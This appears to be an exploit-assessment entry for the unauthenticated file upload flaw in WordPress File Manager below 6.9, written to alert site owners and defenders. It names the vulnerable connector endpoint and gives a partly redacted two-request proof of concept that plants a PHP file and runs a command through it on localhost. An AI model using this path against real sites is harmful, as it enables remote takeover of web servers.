Very High
WordPress File Manager Plugin < 6.9 Arbitrary File Upload
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Very High
(1 user assessed)
Very High
(1 user assessed)Unknown
Unknown
Unknown
WordPress File Manager Plugin < 6.9 Arbitrary File Upload
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
[We noticed] multiple cases where WordPress sites were breached using 0-day in wp-file-manager (confirmed with v6.8, which was the latest version available in wordpress.org).
File lib/php/connector.minimal.php can be by default opened directly, and this file loads lib/php/elFinderConnector.class.php which reads POST/GET variables, and then allows executing some internal features, like uploading files. PHP is allowed, thus this leads to unauthenticated arbitrary file upload and remote code execution.
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Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
WordPress sites are getting exploited en masse with this vuln. The File Manager plugin is the first result for “file manager” in the WordPress plugin database. No surprise lots of people are installing it, considering its generic name. ~700k by the numbers.
The vuln is trivial to exploit and weaponize, too. If you’re running the plugin, you need to bring in incident response. The edited PoC below shows that the vuln can be exploited in two requests to execute arbitrary PHP code.
wvu@kharak:~$ curl -s http://127.0.0.1:8080/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php [redacted] | jq { "added": [ { "isowner": false, "ts": 1599193366, "mime": "text/x-php", "read": 1, "write": 1, "size": "35", "hash": "l1_eC5waHA", "name": "x.php", "phash": "l1_Lw", "url": "/wp-content/plugins/wp-file-manager/lib/php/../files/x.php" } ], "removed": [], "changed": [ { "isowner": false, "ts": 1599193366, "mime": "directory", "read": 1, "write": 1, "size": 0, "hash": "l1_Lw", "name": "files", "phash": "l1_L3Zhci93d3cvaHRtbC93cC1jb250ZW50L3BsdWdpbnMvd3AtZmlsZS1tYW5hZ2VyL2xpYg", "volumeid": "l1_", "locked": 1 } ] } wvu@kharak:~$ curl http://127.0.0.1:8080/wp-content/plugins/wp-file-manager/lib/files/x.php -d c=id uid=33(www-data) gid=33(www-data) groups=33(www-data) wvu@kharak:~$
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